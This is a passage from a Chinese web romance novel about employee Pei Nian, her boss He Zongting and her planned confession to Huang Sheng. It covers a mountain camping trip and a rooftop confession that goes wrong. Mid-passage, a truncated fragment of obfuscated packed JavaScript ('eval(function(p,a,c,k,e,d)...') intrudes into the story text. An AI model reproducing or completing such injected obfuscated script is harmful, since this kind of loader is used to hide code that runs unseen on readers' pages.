他们也请了当地的向导,在向导的指导下他们搭好帐篷,便背上食物和水,出发去爬山。 不同于北方苍凉的山脉,云山上植被茂密到遮天蔽日,纵使是盛夏正午,山林里仍然湿凉,越往上走,凉意更重,道路也更湿滑。 向导一人给她们发了一个丝带系在手腕,每隔一段时间就点一次名。 裴念和张芮之平常运动不多,很快就掉到了队伍后面,好在队末有向导一路看着她们。 爬到半山腰的观景平台时,贺宗霆转身看了眼身后稀稀拉拉的队伍,和向导商量了一下,在平台上休息一刻钟,吃点东西再继续前往山顶。 裴念和同事们坐在一起,互相分吃了些东西,临出发前去了趟卫生间,卫生间建在瀑布下,瀑布水流湍急,噪声震耳,因此她并没有听到外面报数的声音,等她出来发现公司的队伍已经消失。 他们公司是第一波上山的人,因此他们的人一离开,四周除了密匝匝的山林,再不见一个人影。 裴念立刻拿出手机,信号却只显示了一格的电量,电话自然是打不出去的,她这时才开始慌了,抓紧包袋朝着上山的路追了过去。 走了大概七百米,遇到一个岔路口,她选择了那条脚印多的大道,上了几级台阶后,她又拐了回来,把手腕上的丝带解开,撕下一条系在了大路的入口处。 她就这么边走,边把撕成条的丝带系在沿路的树杈,手中的丝带渐渐变少,天气也悄然发生了变化,乌云遮盖被割裂成小块的天幕,山林间弥漫起了雾气。 裴念脑海里蹦出网上流传的山中精怪的传说,看着雾气弥漫的石板路,手中只剩一条丝带,她不敢再走了。 休息时张芮之和隔壁部门的女同事聊明星八卦聊上头,队伍继续出发也没耽搁她们聊天,大概走了十几分钟后,她猛然意识到裴念不在自己身边,她连忙前后左右看了看,都没看到裴念的身影,才一下急了。 爬山的队伍紧急叫停,贺宗霆问:“点名的时候人不是正好?” 众人面如菜色,嘀咕着说不清楚。 一男同事颤巍巍举手道:“我不确定刚才是不是答了两次…”他休息时打了盘游戏,点名时依稀记得自己喊了两次,但他也不确定,因此没提。 贺宗霆紧锁眉头看向他,男同事吓得脸色发白:“贺总,要不我下去找……” “所有人原地等着。”贺宗霆没有采纳他的话,亲自带着一个向导下山去找。 走了没多远,在一个岔路口的地方,贺宗霆就看到树杈上绑着的丝带,他摘下来查看,和自己手腕上的丝带布料相同,眉心这才舒展了些。 一路沿着红色的丝带,朝着另一条山道走了一公里,就见到那个脱队的人可怜巴巴地坐在树下的一块大石头,一手高高举着手机寻找可能的一点信号,像个努力挣破土壤的蘑菇。 听到脚步声,裴念唰地转头,看到贺宗霆和向导正朝她走来。 单独在这儿坐着的时间,她严谨地复盘了导致自己和队伍走散的原因,领队纵然有疏漏,她自己显然也有问题,她不该不和人说一声就去洗手间,更不该在挑选干净隔间上浪费时间。 贺宗霆肯定也意识到她的问题,所以表情才这么难看。 她惶惶起身,启唇正要道歉。 贺宗霆已经走到她跟前率先开口:“对不起,我应该亲自确定一遍再出发。” 他顿了一下,语气难得温和:“没吓到吧?” 裴念没想到对话是这个走向,看着他的眼睛摇头:“没有…就是没想到你们这么快就找过来了。” “多亏你绑了这个。”贺宗霆把手中一把布条拿给她看了一眼,扔进了一旁的垃圾桶,转身时,看到裴念摸了一下自己空荡荡的手腕,顺手把自己手腕上的丝带解开递给了她。 裴念不好意思道:“给我你不就没了吗?” 贺宗霆:“我不会掉队。” “……”果然还是怪她惹了麻烦,裴念把丝带接过来系到自己手腕:“谢谢贺总。” 这条路因为走得人少,台阶上的青苔疯长,被露水浸湿后很是湿滑,上山时还能稳住脚步,下山因为重力和惯性的缘故,裴念走得踉跄。 在她第三次脚下打滑的时候,看着走在前面脚步稳健的贺宗霆,她忍不住弯腰看起了他的鞋,想知道是什么品牌,可以做到如此防滑。 她看的专注,没注意到贺宗霆停下的脚步,脑袋咚的一声撞上了他的后背。 裴念吓了一跳,捂着额头站直,和转过身的贺宗霆平视。 “我不小心的。” 贺宗霆没怪她,目光下试,看到她板鞋上沾着苔藓,把手伸了出来:“要不要?” 裴念看着他骨节分明的宽大手掌,想起他之前用力握着保龄球的场景,看起来有力而沉稳。 可毕竟男女有别,即使是在这种特殊的情况下,她也不想和贺宗霆之间有什么牵扯。 “不用了。”她吞了吞喉咙:“我小心一点走。” 贺宗霆视线在她扑闪的睫毛上停留一秒,转过身继续朝下走,裴念深吸一口气跟了上去,一路扶着粗糙的树干,倒是没再打滑。 裴念回到公司队伍之后,刚刚和她一起上山的同事都围了过来问她有没有事,张芮之抹着发红的眼眶说:“都怪我,光顾着和人聊天,都没看你跟没跟上来。” “我这不是回来了吗,没什么事。”裴念安慰她几句之后,和她挽着手继续上山。 一路上再没有发生意外,顺利到达山顶,太阳也为他们庆祝拨开乌云重现金灿灿的日光,来之前公司已经提前订好了山顶餐厅的午餐,员工进去直接就能开餐。 去餐厅的路上,之前一直在队伍前方的唐旭过来问了问她的情况,得知她没事便放心地去找同事一块吃饭去了。 张芮之看出他们两人之间客气的态度,到了电梯间问她:“我听说唐旭给你表白了,真的吗?” 裴念知道这种事情在公司瞒不住:“人家没明说。” 张芮之:“你拒绝了吧?” 发丝扫得耳朵有些痒,裴念抬手挠了下:“我有喜欢的人了啊。”她说完听到身后传来脚步声,回头看到贺宗霆和高理也来等电梯。 这个距离,他一定听到了她们之间的对话,不过想必他不会在意。 裴念打了声招呼便转过头去,露出的耳尖还红着,像是害羞。 电梯门开了,视线里的那抹红色开始晃动,贺宗霆目光上抬,抬脚进了电梯,伸手按了楼层。 高理眼尖的发现他原本系着丝带的手腕空空如也,疑惑道:“贺总你的丝带怎么不见了?” 裴念当即一凛,被高理这么一提醒,她发现自己收贺宗霆丝带这件事,实在是超出老板和员工的关系了。 她当然知道贺宗霆给自己丝带没有任何别的意思,单纯是怕她再惹麻烦,可别人不一定这么认为。 就在她忐忑不已时,贺宗霆很是平常的说:“不小心丢了。” 高理问:“在哪里丢的,需要去找一下吗?上面有您名字的缩写,应该好找。” 裴念僵硬地把双手藏到了背后,祈祷没人发现她的小动作。 贺宗霆不想再继续聊这个话题:“不用,下山用不到,可以扔了。” “明白了。”高理点头,不再纠结这个问题。 裴念见此事翻篇,终于松了一口气,趁人不注意快速把丝带撸了下来,塞进了包里,并严谨地拉上了拉链。 她以为自己动作很隐蔽,殊不知镜面的电梯门将她一连串的动作全都展示在了贺宗霆的眼前。 即使这段时间没少听她各式各样的告白,他也实在无法理解裴念连他用过的丝带都要珍藏的这种行为。 / 吃完午饭,下午大家三三两两聚在一起逛山顶的寺庙,金乌西坠之时才集合坐索道下山。 既然是来体验露营,晚上他们没有去饭店吃饭,而是升起了烧烤架吃烧烤。 他们公司来的人多,几个常去露营的男同事负责烧烤做饭,其他人帮着打打下手,倒倒饮料,很快桌上就摆满了佳肴。 有情调的同事还专门租了把吉他,插上电,在溪边唱起了歌,隔壁来露营的一家人甚至还撑起幕布,邀请他们一起看电影。 一群人边吃边玩一直闹到天色彻底暗下来,当地的向导拉来一车木材,堆在小溪附近升起了火,举行简单的篝火晚会。 裴念被同事拉到篝火旁拍照拍vlog玩得正开心,忽觉身旁的人已经开始跳起了舞,感兴趣的人如张芮之直接加入了跳舞的队伍,不会跳的裴念便从篝火旁离开。 走到不远处的长椅上坐下后,裴念才发现跳舞的有一半都穿着当地的民族服饰,跳的也是她没见过的舞蹈,她问了下一旁坐着的向导,才得知原来是附近村子里的年轻人,晚上没事爱来这边凑热闹。 没过一会儿,围在篝火边的年轻人唱起了当地的民族歌,嘹亮婉转的歌声响彻整个山谷,裴念觉得好听,跟着哼了几句,不知道什么意思,只好再次向向导询问。 向导告诉她这首歌叫《夜奔》,并拿出手机搜出汉语的翻译拿给她看,原来这首歌讲的是当地的一个爱情传说。 曾经有两户人家的青年在一场庙会一见钟情后私定终身,奈何两家隔着几座大山,从那之后再也没有见面的机会,年纪一到双方家人想硬逼着他们和不爱的人成婚,两人便心有灵犀各自到溪边殉情,这个行为感动了他们在庙会共同拜过的月老,月老以神仙之力助他们翻越连绵的森林和陡峭的山路,在深夜的街头重逢。 裴念听完心里一动,这首歌莫名和公司新车的宣传方向很搭,当即打开备忘录将歌词记了下来。 “也是因为这个传说,我们这儿的月老庙灵得很啊……”向导朝她淳朴的笑了笑:“这首歌还有求偶的意思,你要是有喜欢的人不妨拉他去跳舞,我们这儿的年轻人都这么做。” 裴念笑笑:“他不在这边。” 向导摇摇头:“可惜了。” 他话音刚落,一个当地的年轻小伙子红着脸来到裴念身前,躬身朝她伸出了手,用不太熟练的汉语邀请她去跳舞。 裴念笑着摆了摆手:“我不会跳,你们去吧。” 小伙子侧身给她看身后的 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不过凡事总有例外,一个当地的姑娘不知道在坐的都是什么身份,热情地跑过来问他们要不要过去跳舞,问的是他们一桌的人,视线却直勾勾盯着贺宗霆看。 高理连忙起身:“我跟你去吧。” 那姑娘仍看着贺宗霆:“帅哥,你不来吗?” 高理头皮一麻,伸手要拦,却见贺宗霆朝篝火边一瞥,从容地站了来:“来。” 篝火边的人越来越多,裴念右手和邀请她的小伙子牵着手,左手还空着,等人群朝她靠拢,和左边的人肩膀挨在一起后,便自然地牵起了手。 左手手掌触手微凉细腻,裴念才意识到这是一只养尊处优的手,对方手指倏尔收紧,将她的手整个包进了掌心。 裴念下意识抬头,只看到了独属于男性的锋利喉结。 贺宗霆的声音自头顶响起:“发什么呆?” 裴念猛的仰起头,对上他的视线:“贺总?你也来玩?” 贺宗霆挑眉:“有我不能参加的限制条件?” 裴念皱了下鼻子:“那自然是没有的。”只是没想到他居然对这种活动感兴趣。 高理偏过头和她介绍站在他和贺宗霆中间的姑娘:“是这位姑娘邀请我们过来,我和贺总正好闲着就凑凑热闹。” 裴念朝贺宗霆旁边的姑娘看了眼,当地人,皮肤黝黑,浓眉大眼,笑起来别有风情,是第一眼就让人惊艳的漂亮,怪不得他愿意来。 众人手拉手围绕篝火站好后,当地的小伙子和姑娘再次唱起了那首夜奔,带领着他们围着火光跳舞。 人多之后明显比刚刚更加热闹,踩在石子上的脚步也变得纷乱起来,转换方向时裴念总是有点跟不上,因此脚下免不了趔趄。 贺宗霆似乎有所察觉,收紧了掌心的力度,接下来再有大幅度的动作,她的步伐没再乱过。 四周群山静默环绕,篝火烧的明亮耀眼,木材燃烧时噼啪作响,远处溪流静静拍打河畔,欢声笑语穿插在嘹亮的情歌中。 裴念忽然明白了向导的话,为什么要拉喜欢的人来跳舞,因为快速击打耳畔的心跳声会给人制造心动的错觉。 她悄悄掀眸朝贺宗霆看去,视线掠过他锋利的轮廓,又否定了自己的结论,他这样的男人,和最美的姑娘跳舞心里肯定也毫无起伏。 贺宗霆低头看过来,目光平淡无波:“看什么?” 裴念余光瞥到他身后姑娘幽怨的目光,心道自己果然猜的没错。 为替漂亮姑娘出口气,裴念睁着眼说瞎话:“你头发上有火星。” 裴念自己肯定不知道她说谎的时候睫毛会像蝴蝶的翅膀,快速的眨动两下,然后再分开。 贺宗霆看了她眼睛两秒,低头:“帮我拍掉。” 裴念“噢”了一声,假模假样地在他发梢拍了拍,狡黠地笑道:“没了。” 贺宗霆想,他知道裴念为何要说谎了。 / 篝火晚会结束后,男性自觉拎桶去溪边打水来把火扑灭,溪边没有光源黑黢黢一片,颇有伸手不见五指那个意思,女孩儿们打开手机手电筒跟上,给他们引路。 高理叫住要给当地小伙子照明的裴念:“小裴,能不能麻烦你给我和贺总照一下。” 小伙子见状和同村的伙伴一道去了溪边,裴念于是点头答应,但对自己手机照明情况略有担忧:“可以是可以,但我怕照不到你们两个人。” “没事,这个姑娘帮我照。”高理说着和那个浓眉大眼的黑皮漂亮姑娘说说笑笑先行去了溪边。 “……”裴念安慰地看着贺宗霆。 贺宗霆表情却不见一点不悦,从地上拎起塑料桶,对她说:“走我后面。” 裴念打开手机手电筒跟在他身后朝溪边走,溪岸宽广,人群自觉分散开来,贺宗霆在一片浅溪边停下,回头让她站在原地,然后抬脚踏进浅浅的溪水里,躬身去舀水。 不远处忽然传来几声惊叫,在黑暗中尤为吓人,裴念瞬间汗毛倒竖,下意识往贺宗霆的方向贴了过去。 贺宗霆感觉到背后清浅的温度,直起身也拿出手机朝声音来源照过去。 裴念心口突突直跳:“怎,怎么了?” “好像是有人滑倒了。”他把手机收了起来:“已经没事了。” 裴念仔细朝那边看,果然见两个黑乎乎的人影朝露营地走了回去。 她放下心来,朝旁边给贺宗霆让开了路,却忘了自己已经踩到浅溪里,不防滑的鞋底沾了水,带着她朝后栽去。 她还来不及惊叫,后腰猛地被人搂住,贺宗霆手臂稍一用力就把她扶稳。 裴念段时间没能从接连的惊吓中回过神,紧攥着手机僵住,对上贺宗霆近在咫尺的眼睛才瞬间回过神。 她小心翼翼地后退一步站好,红着脸说:“对不起贺总,我这次真不是故意的。” 贺宗霆瞬间抓到她语言的漏洞,躬身和她平视:“所以下午那次是故意的?” 15. 第 15 章 寂静昏昧的山林中,视线所及之处的景物漫漶无边,只有咫尺之间的浅棕色的眸子清晰可见,裴念甚至能看出贺宗霆目光中的审视。 意识到他是真的在怀疑她蓄意接近,裴念郑重其事地划开界限:“贺总,请你不要小人之心。” 贺宗霆缓缓直起身,视线没从她身上离开,似笑非笑道:“我小人之心?刚刚是谁抱我?” 裴念被他歪曲事实的能力激得瞪大眼:“谁,谁抱你了?!我那就是贴了一下……” 贺宗霆了然地哦了一声,重复她的用词:“原来是贴。” 裴念这下没话说,讷了一瞬,低头道歉:“都是我的错,但我真不是故意贴…你的。” 她不想,也不敢啊。 贺宗霆看起来并不相信她,老神在在地拎起盛满的塑料桶,抬脚朝岸边走:“回了。” 裴念急忙追上去,想再为自己的清白解释一番,这时,篝火旁传来张芮之喊她的声音。 “念念,快过来,要分帐篷了。” 她这么一喊,公司不少同事都看了过来,裴念果断放弃向贺宗霆解释,扬声说“来了”,便朝张芮之走了过去。 帐篷有单人间和双人间,裴念和张芮之来之前商量睡一顶帐篷,登记之后,两人一致决定住溪边的一顶双人帐篷。 洗漱完,她们说着话朝溪边走去,忽然,裴念的手机一亮,顾免给她发来一条消息。 【大事不好!黄晟要和蒙家千金相亲了!!】 看到消息内容,裴念的笑容僵在脸上,溪边光线微弱,张芮之并未发现她的异常,拉着她到帐篷附近时顿住了脚。 只见幽暗的溪边,只孤零零撑着一大一小两顶帐篷。 她担忧道:“天啊,这边好黑,睡觉的时候会不会有点恐怖啊?” 裴念哪还有心思看什么帐篷,机械地重复她的话:“是啊,好恐怖。” 张芮之又扭头看了眼其他几顶双人帐篷,虽然都撑在挂着灯的林间,但周围帐篷扎堆,一眼看过去拥挤不堪。 “可其他双人帐篷旁边人好多,可能会吵得睡不着。”张芮之纠结地挠头:“好难选啊,念念,你决定吧。” 裴念有气无力地朝溪边的帐篷抬了下巴:“就这儿吧。”她已经没力气再走回林边了。 张芮之刚一点头,不远处传来几道脚步声,贺宗霆及身后的副总和高理径直朝溪边两顶帐篷走了过去。 贺宗霆掀开单人帐篷的门帘,把睡袋扔了进去。 高理把双人帐篷的帘子卷到顶,请副总先进,副总躬身进帐篷时,余光扫到不远处呆站着的两个人影,动作一顿朝她们看去。 “你俩是不是想睡这顶?” 副总为人随和,对下属十分亲切,看出她们的意愿,当即就要把帐篷让给她们。 张芮之哪好意思,扯着裴念一起躬身:“不用不用,您睡吧,我和念念本来就想选另一顶。” 被张芮之一扯,裴念才看清单人帐篷里坐着的贺宗霆,目光惶惶定住,有种想要直接过去问他知不知道黄晟要相亲的冲动。 好在张芮之及时将她拉走。 贺宗霆坐在帐篷内,抬眸看向那道频频朝他看过来的身影,觉得自己还没遇到过裴念这么麻烦的人。 只是不能睡在他旁边的帐篷而已,她居然连这点小事都不能接受。 林间的帐篷果然很吵,张芮之睡不着,不得已戴上耳机和家人打视频,裴念心烦意乱地走出帐篷,到大巴车下的椅子上坐着,详细询问顾免关于黄晟的事情。 顾免安慰道:【没事,现在黄蒙两家只是接触,具体得等黄晟和蒙姗见过面才能商定。】 裴念:【你知道他们什么时候见面吗?】 顾免:【下周末在柏誉】 裴念思忖几秒道:【我决定在这之前约黄晟见面。】 顾免:【我的姐!!】 顾免:【支持!!但你们不是说好两个月后见面吗?提前约他会来吗?】 裴念叹气:【先约约看吧。】 顾免过了一会儿才回她:【上次一起打保龄球的彭越你记得吗?】 裴念想了想,回:【留寸头戴钻石耳钉的那个吗?】 顾免:【对,黄晟周三会参加他的聚会,彭越订的那家会所我有参股,我到时候给你安排场地,你找机会约黄晟见面。】 裴念给她发了好几张感激的表情包,确定好聚会时间,她们又聊了几句,等顾免实在困得睁不开眼才结束聊天。 裴念毫无睡意,虽说确定了下一步的计划,但黄晟要接触联姻对象的事实她无法改变。 就算见了面黄晟对她印象不错,但会为了他违背家族的联姻意愿吗? 答案显而易见。 裴念翻开和黄晟的聊天记录,一个多月以来,聊天记录从两三天一条到每天三四条,他终于从一开始的冷淡寡言,到现在的有话必应。 如果他之后还是要联姻的话,他们的聊天框就该回归到最初的空白了。 裴念越想越难过,点开输入框,给H发了两个[哭][哭]的表情。 H:【睡不着?】 裴念莫名觉得这话温柔,鼻腔一酸:【嗯,想起来还没跟你说晚安。】 H这次很应景地没有回她的消息,裴念看着掌握她情绪起伏的对话框发起了呆。 不多时,身旁的大巴边传来脚步声,裴念转头,只看到一个挺拔的侧影上了车。 向导将备用的毛毯放到了车上,吩咐有人夜里冷的话可以到车上拿,裴念没在意地回过头,继续刷手机,等H和她说晚安。 几秒钟后,H的晚安没到,从车上下来的脚步声朝她走近。 裴念心口一紧,再次转头朝车门看去。 贺宗霆像是才看到她,脚步微顿:“在这干什么?” 夜间起了风,林间枝叶簌簌有声,裴念欲开口说话,鼻腔灌入凉风,猛地打了个喷嚏。 贺宗霆眉心顿势皱起。 遭了嫌弃,裴念捂住嘴巴身体后仰,瓮声瓮气地说:“我出来发个消息。” 贺宗霆视线在她发红的鼻尖上停留一秒,把手臂上搭着的毛毯朝她扔了过来。 裴念整个脑袋被柔软的毛毯兜头盖住,眼前一暗,只隐隐看到贺宗霆离开的身影,和一声没什么情绪的:“去睡。” 夜色又深了一度,露营地嘈杂的动静归于平静,裴念盖着两层毛毯,翻身睡下时将手机放到了身侧。 闭上眼睛的时候,她迷迷糊糊想到,今夜是贺宗霆代替黄晟给了她回应。 / 次日清晨吃过早饭,跃维的队伍就踏上返程的路。 昨晚露营闹得晚,加上帐篷睡得不是很习惯,一上飞机,裴念就戴上眼罩开始补觉,飞机降落时才被同事叫醒。 排队等行李时,裴念顺便回了回消息,看到给大壮买的猫砂不小心寄到了公司,想到家里的猫砂已经见底,她决定先去公司一趟把快递取了。 机场外等车的时候,张芮之叫裴念一起拼车,她们两家住的不远,拼车能省不少钱。 裴念遗憾地告诉她:“我得先去趟公司拿个快递。” 张芮之只好去问其他住得近的同事。 离她不远的高理听到她们的对话,顺口道:“我们也去公司,不然你坐我们的车?” 裴念心里一喜,正要答应,转头看到站在他旁边的贺宗霆,以及分散在周围的同事们,怕人说闲话,裴念忍痛地笑笑:“谢谢,但我刚刚已经打过车了。” 高理点点头,没再说什么。 此时正值打车高峰期,车少乘客多,同事们三三两两拼上专车,不多时就都纷纷离开了,机场外只剩下她和贺宗霆及高理三人还在等候。 裴念自己一人舍不得打专车,只好紧盯着手机等着捡漏。 时间越长,她的处境就越尴尬,毕竟别人的打的车都接连到了,没道理她的一直不来。 就在她焦急地来回切换打车软件时,眼前驶过一辆黑色SUV,半降的车窗闪过一道熟悉的侧脸。 裴念指尖一顿,车也忘了打,扭头朝那辆车看去。 SUV在贺宗霆身前停下,高理拎着行李箱去后备箱,黄晟将整个车窗降下来,手肘撑着窗框探出头来:“贺总,这趟儿玩儿得怎么样?” 慵懒声线摩挲裴念的耳廓,她将痒意挠下,目光却怔怔黏在黄晟脸上。 “凑合。”贺宗霆说着朝裴念的方向偏了下头。 裴念倏地低下脑袋,看地砖的缝隙。 黄晟却已经看见她了,指尖敲了敲车门吸引她的注意:“又这么巧?去哪?捎你一程。” 裴念抬眸和他对视一秒,紧张地看贺宗霆缓了缓,随后点头温声说:“那就谢谢了。”然后就拉着行李箱走了过去。 从车尾出来的高理看到这一幕,默不作声瞄了眼贺宗霆。 贺宗霆却像早料到这个走向,上车前吩咐她:“行李放后备箱。”仿佛不知道她刚刚说的已经打过车的事情。 裴念忙不迭点头,放完行李后,轻手轻脚地从另一侧上了车,对黄晟说:“我也去公司,麻烦你了。” 黄晟桃花眼荡漾:“小事一桩。” 裴念眸光晃了晃,嗫嚅道:“谢谢。” 黄晟发动引擎,将车并入车道,车内安安静静的,贺宗霆突然偏头问她:“不是打过车了?” 裴念下意识“啊?”了一声,快速眨了眨眼睛说:“司机看太远就取消了…” 贺宗霆:“是么。” 裴念咕哝:“是啊。” 黄晟扭头冲贺宗霆笑:“你那么凶做什么?人姑娘不就搭个车,你非把人吓着。” 贺宗霆不以为意地扯唇,意味不明地说:“她可不怕我。” 手机铃声掩盖了他的声音,黄晟看了眼屏幕上的来电人,嘴角一撇,戴上蓝牙耳机接起来。 “喂,妈。” “是是是,我知道,一定好好款待她。” “绅士点?行,明白,一定让蒙姗满意。” 裴念心口一颤,收紧指尖仔细听黄晟和他母亲的对话。 可惜对面又嘱咐了一句就挂断了电话,黄晟摘下耳机往中控台上一撂。 贺宗霆掀眸:“和蒙家订下来了?” 黄晟单手把着方向盘:“还没,周末先吃饭,美名其曰先让我和蒙姗接触接触,看合不合得来。”他轻嘲道:“说得跟我们能做主一样。” 贺宗霆挑眉:“说不定能培养出感情。” 裴念默默咬牙,这人可真不会说话。 “商业联姻不奢望感情。”黄晟从后视镜看他一眼:“倒是你,前段时间和周家小女儿约会怎么样?我可听说她上学那会儿就喜欢你。” 贺宗霆脑袋靠向头枕,视线从右侧掠过,不紧不慢道:“和周总谈项目也叫约会?” 黄晟促狭:“架不住周总女儿每次都跟着。” 贺宗霆冷笑:“这么关心下次让你去应付。” 裴念双手攥紧,恨恨地瞪了一眼贺宗霆的皮鞋。 这一眼却没躲过贺宗霆的视线,他朝她泛红的脸颊横一眼:“不舒服?” 裴念立即泄气,蔫答答摇头:“有一点晕车。” 高理从前座递来一瓶水:“喝点水会好一些。” 裴念道谢后接过,拧开瓶盖喝了一口之后,闭眼靠在车窗上休息,一直到下车没再睁眼。 下车后,裴念没和他们一起上楼,拉着行李去楼下的快递站。 黄晟插着兜看向她萎顿的背影越走越远:“裴念身体没事吧,看起来晕车很严重。” 贺宗霆径直进入公司大楼,很是笃定地说:“没事。” 就是气的,因为他和周家的小女儿“约会”。 电梯缓缓上行,黄晟和高理随口闲扯,都没注意到贺宗霆的手机响了一声。 他拿出手机来看。 果然是nn。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在座的几人里就彭越和她最熟,伸胳膊朝她摆了摆,手臂放下时,他看到出现在顾免身后的身影,眸光一顿:“那是…裴念?” 他问完,其他人都抬头朝大门处看去。 只见顾免身边多了一道纤长的身影,淡蓝长裙,长发在脑后挽成一个发髻,露出柔和的面部轮廓和精致的眉眼,在会所纸醉金迷的门边站着,有种出尘的美。 “美人一打扮真是不得了。”黄晟冲贺宗霆笑道:“就是不知道冲谁来的。” 其他人还未说话,裴念身边又多了个穿西装的男人,是她还在裴家时经常接触的邻居家哥哥。 那男人低头和她说话,看得出很熟的样子,裴念笑了好几次。 “贺总可以放心了。”知道贺宗霆不喜欢别人瞎传他和裴念的绯闻,彭越耸耸肩道:“裴念的目标看起来是别人。” 贺宗霆眸色幽幽从裴念手上拎着的礼物袋上掠过,笑了下,没搭腔。 人来的多了,他们没再打牌,一道去楼上的酒吧喝酒。 酒吧吝啬灯光,只在吧台上方亮着几盏灯,其余的卡座陷入半明半昧之间。 在座的人显然习惯了这样的环境,各自端着酒杯闲聊,贺宗霆独占一张单人沙发,拿着手机处理公务,没人敢上前打扰,因此也没人看到他的手机屏幕停留在微信聊天界面。 贺宗霆指尖划了划,翻到两天前的记录。 nn:【你想不想早点收到手链啊?】 H:【想见我?】 nn:【可以吗?我不想再等了…】 nn:【其实离两个月就差两周而已,提前几天也没什么的】 nn:【你说对吧[流泪][流泪]】 H:【怎么见?】 nn:【你这是答应了?!!】 H:【省得你再哭】 间隔一分钟。 nn:【见面的事我来安排,等时机到了我会告诉你的】 大概是真的在认真安排,接下来的两天nn没再给他发过消息。 贺宗霆退出微信,看到吧台处悄无声息出现的人影。 裴念假模假样地和调酒师要了杯酒,随后以一个极不自然但强装淡定的表情四处张望。 目光在他们这一桌停留许久。 贺宗霆抿了一口酒,看着她接过调酒师递来的酒,又朝他的方向看了一眼,下定决心一般,深吸一口气把鸡尾酒一饮而尽,拎着她的礼物袋出了酒吧。 他摇晃着酒杯,听着冰块撞击玻璃的动静,心想,时机大概是快到了。 果然,不到五分钟,他收到了nn的一条消息及会所天台的定位。 【你十分钟之后过来好吗?】 他施施然放下酒杯,起身走到电梯间,按亮上行的键。 然后回她:【好啊】 会所天台是半封闭式,下了电梯要经过一段走廊才能到达通往天台的玻璃门。 没有派对的时候,天台的灯一般都是关着,今天却亮得蹊跷。 一闪一闪,粉蓝相间。 贺宗霆朝玻璃门走近两步,看清了天台上的景象。 粉色和蓝色的彩灯在栏杆上缠绕,一直蔓延到由气球堆成爱心的墙边。 裴念就站在墙后,侧对着玻璃门,怀里抱着束鲜花,口中念念有词。 贺宗霆走近几步,听到了她的呢喃。 “今,今天,谢谢你能来…” “为这一天,我已经等很久了。” “咳…你一定不知道,我,我从大学那会儿就,”她忽然清了清嗓子,把捧花放到地板,捂着脸缓了一会儿才又说:“就喜欢你了。” 贺宗霆隔着玻璃门看到她耳根连着脖颈通红一片,指尖无意识地摩挲了一下。 裴念全然投入在排练中,没意识到门后多了位观众,她弯腰重新把捧花抱在胸前,对着墙继续表白。 “我知道你看到我会觉得惊讶和突然,但我想告诉你,我是真的,真的很喜欢你…” 她还是紧张,即便话说的流利了些,嗓音还是微颤,被夜风顺着门缝送进贺宗霆的耳朵。 “黄昇,”她说:“你要不要考虑和我恋爱呢?” 放在口袋里的指尖蓦然收紧,贺宗霆缓慢眯起了眼睛。 16. 第 16 章 一杯低度数的鸡尾酒下肚,黄昇的过敏症不至于发作,精神却开始微醺。 他把脑袋歪在皮沙发的靠背,抛着个骰子和朋友们聊天,冷不丁被贺宗霆从沙发上捞了起来。 “走了。” 黄昇以为听错,迟缓地问了声:“啊?” 不光是他,卡座内的一众友人都抬起头来,不明白贺宗霆这是来哪出。 “霆哥走这么早做什么?” “第一轮酒都还没喝完。” “还有人没到呢…” 贺宗霆没具体解释,只说:“有事。” 他躬身把黄昇的外套拿起来递给他,无声催促。 黄昇看他表情严肃,以为有急事,拿上外套跟他离开。 知道今天要喝酒,黄昇带了司机,到了停车场,司机在车内看到他们,下车打开车门。 贺宗霆看着黄昇上了车,把车门一关,吩咐司机:“他喝多了,看着他到家。” 司机点头:“明白,贺总。” 听到对话的黄昇去开车门:“不是?哥?这是啥意思?” 贺宗霆膝盖顶住车门,不让他出来:“黄叔让我看着你别喝酒。” 黄昇唰地降下车窗,脸上写满了匪夷所思:“你别告诉我就为了这点破事把我叫下来。” 贺宗霆示意司机开车,对黄昇说:“过敏是大事。” 黄昇的司机是他爹给找的,时刻把他的生命安危摆在第一位,闻言中肯的点头:“少爷,您就听贺总的吧,家里有医生,不舒服了能马上给您看。” “我特么没不舒服啊!”黄昇气得猛拍了下车窗。 司机发动引擎,载着暴躁的黄昇离开了会所。 停车场恢复寂静,贺宗霆从口袋里摸出一根烟咬在嘴边,却没心思点。 他抬眸朝着天台的方向看了眼,忖了须臾,拿出手机给彭越要了会所今晚值班的经理的电话。 经理知道电话那头的人是谁,电话一通,谄笑道:“贺总,您有什么吩咐。” 贺宗霆把没点燃的烟拿下来,在指尖捻着:“今晚天台开没开放?” 经理果断道:“今晚没开放呢。” 贺宗霆:“我怎么见上面有人?” 经理从他冷淡的语气里咂摸出不悦的意味,心里吐槽这位贺家掌权人未免管得太宽,嘴上仍好声好气道:“是么,我赶紧找人去看看,可能是小年轻不懂事跑上去了。” 想赶紧打发掉这尊大佛,不等贺宗霆表态,经理补充道:“您放心,要是有闲人在天台逗留,我马上把人劝下去。” 贺宗霆没什么情绪的嗯了一声,然后说:“上去帮她把东西收拾收拾,别凶。” 经理停顿了几秒,虽不理解这诡异的要求,但还是点头说:“明白明白。” 电话挂断,贺宗霆把捻得稀巴烂的烟扔进垃圾桶,从口袋拿出手机来看。 nn等得着急,两分钟前给他发来了催促短信:【你还没来吗?】 看着这段文字,贺宗霆眼前浮现十分钟前裴念站在玻璃门后的身影,和她满含期冀的神情,以及被风吹动颤抖着的睫毛。 他当时就该推开门走过去,把真相告诉她,结束这场荒诞的乌龙。 但是他没有。 现在裴念又给了他一次机会。 贺宗霆看了手机屏幕良久,将这次机会也放弃了:【抱歉,有急事要去处理】 / 经理边缠彩灯边苦口婆心地对裴念说:“小姐,天台今天不开放,没有保安值守的,你这要是出了什么问题,我们会所也别干了。” “不好意思。”裴念把气球逐个从墙上摘下来,一个一个塞进编织袋:“给你们添麻烦了。” 帮着抱捧花的服务员小右问:“您这是准备表白吗?布置的这么浪漫。” 裴念扫了眼没再收到新消息的手机,闷闷不乐地点了点头:“但他有事没来。” 小右夸张地“啊?”了一声:“这男人也太没品了,不论答应不答应,表白总得来一趟吧!” 经理瞪了口无遮拦的小右一眼。 小右吐了吐舌头,嘟囔道:“可惜了这么漂亮的捧花。” 裴念看她很喜欢,就道:“喜欢就送给你。” “可以吗?!”小右惊叫一声,不好意思地说:“这很贵吧,给我就浪费了。” “不浪费。”裴念温声道。 黄昇不来,她留着也没用。 电梯缓缓下行,裴念看着电梯门上的光影,忽然想到她去天台的事,除了顾免,她只告诉了黄昇一人。 她疑惑地问经理:“你们是怎么知道天台有人的啊?” 